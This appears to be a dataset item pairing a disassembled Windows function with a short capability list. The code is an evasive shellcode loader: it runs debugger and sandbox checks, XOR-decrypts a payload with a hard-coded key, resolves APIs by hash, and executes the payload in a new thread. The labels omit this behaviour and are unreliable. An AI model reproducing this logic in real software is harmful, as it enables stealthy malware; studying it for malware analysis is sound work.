Function at 0x14001128a
Capabilities:
Enumerate files on windows
Get common file path
Terminate process

Disassembly:
jmp 0x140011de0
push rbp
push rdi
sub rsp, 0x808
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x166
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e2c8]
xor rax, rbp
mov qword [rbp + 0x7c8], rax
lea rcx, [0x140024105]
call fcn.1400113a2
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140011e54
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140011e74
lea rcx, str.attached_debugger_detected_:__n
call fcn.14001119f
mov eax, 0xfffffffe
jmp 0x1400121e7
call fcn.1400112c1
test eax, eax
jne 0x140011e93
lea rcx, str.possibly_launched_in_sandbox_:__n
call fcn.14001119f
mov eax, 0xfffffffe
jmp 0x1400121e7
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [rbp + 0x2f4], 0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0xffffffffffffffff
je 0x140011f18
mov eax, dword [rbp + 0x1a0]
and eax, 0x10
test eax, eax
jbe 0x140011ef3
mov eax, dword [rbp + 0x2f4]
inc eax
mov dword [rbp + 0x2f4], eax
lea rdx, [rbp + 0x1a0]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140011ed8
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [rbp + 0x2f4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
cmp dword [rbp + 0x2f4], 0
jne 0x140011f3c
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140011f4e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rbp + 0x374], 0
mov eax, dword [0x14001e1e0]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e1d0]
call fcn.1400111bd
lea rax, [0x14001e1d0]
mov qword [rbp + 0x398], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x3b8], rax
mov edx, 0x3283c47
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b40
mov qword [rbp + 0x3d8], rax
mov edx, 0x964f1ef
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b40
mov qword [rbp + 0x3f8], rax
mov edx, 0x1c6a5211
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b40
mov qword [rbp + 0x418], rax
mov edx, 0x2f726bf
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b40
mov qword [rbp + 0x438], rax
mov edx, 0xaf757dae
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b40
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x4b8], rax
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x458]
mov qword [rbp + 0x4f8], rax
mov eax, dword [0x14001e1cc]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rbp + 0x478]
mov qword [rbp + 0x318], rax
mov eax, dword [0x14001e1cc]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, section..data
call fcn.1400111bd
mov eax, dword [0x14001e1e4]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e1e8]
call fcn.1400111bd
lea rax, [0x14001e1e8]
mov qword [rbp + 0x518], rax
mov eax, dword [0x14001e1cc]
mov r8d, eax
lea rdx, section..data
mov rcx, qword [rbp + 0x318]
call qword [rbp + 0x498]
mov eax, dword [0x14001e208]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e1f8]
call fcn.1400111bd
lea rax, [0x14001e1f8]
mov qword [rbp + 0x538], rax
mov eax, dword [0x14001e20c]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e210]
call fcn.1400111bd
lea rax, [0x14001e210]
mov qword [rbp + 0x558], rax
mov eax, dword [0x14001e234]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e220]
call fcn.1400111bd
lea rax, [0x14001e220]
mov qword [rbp + 0x578], rax
mov eax, dword [0x14001e1cc]
lea r9, [rbp + 0x374]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 0x318]
call qword [rbp + 0x4b8]
mov dword [rbp + 0x334], eax
cmp dword [rbp + 0x334], 0
je 0x1400121e5
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x318]
xor edx, edx
xor ecx, ecx
call qword [rbp + 0x4d8]
mov qword [rbp + 0x358], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x358]
call qword [rbp + 0x4f8]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ae20]
call fcn.14001132f
mov rax, rdi
mov rcx, qword [rbp + 0x7c8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x7d8]
pop rdi
pop rbp
ret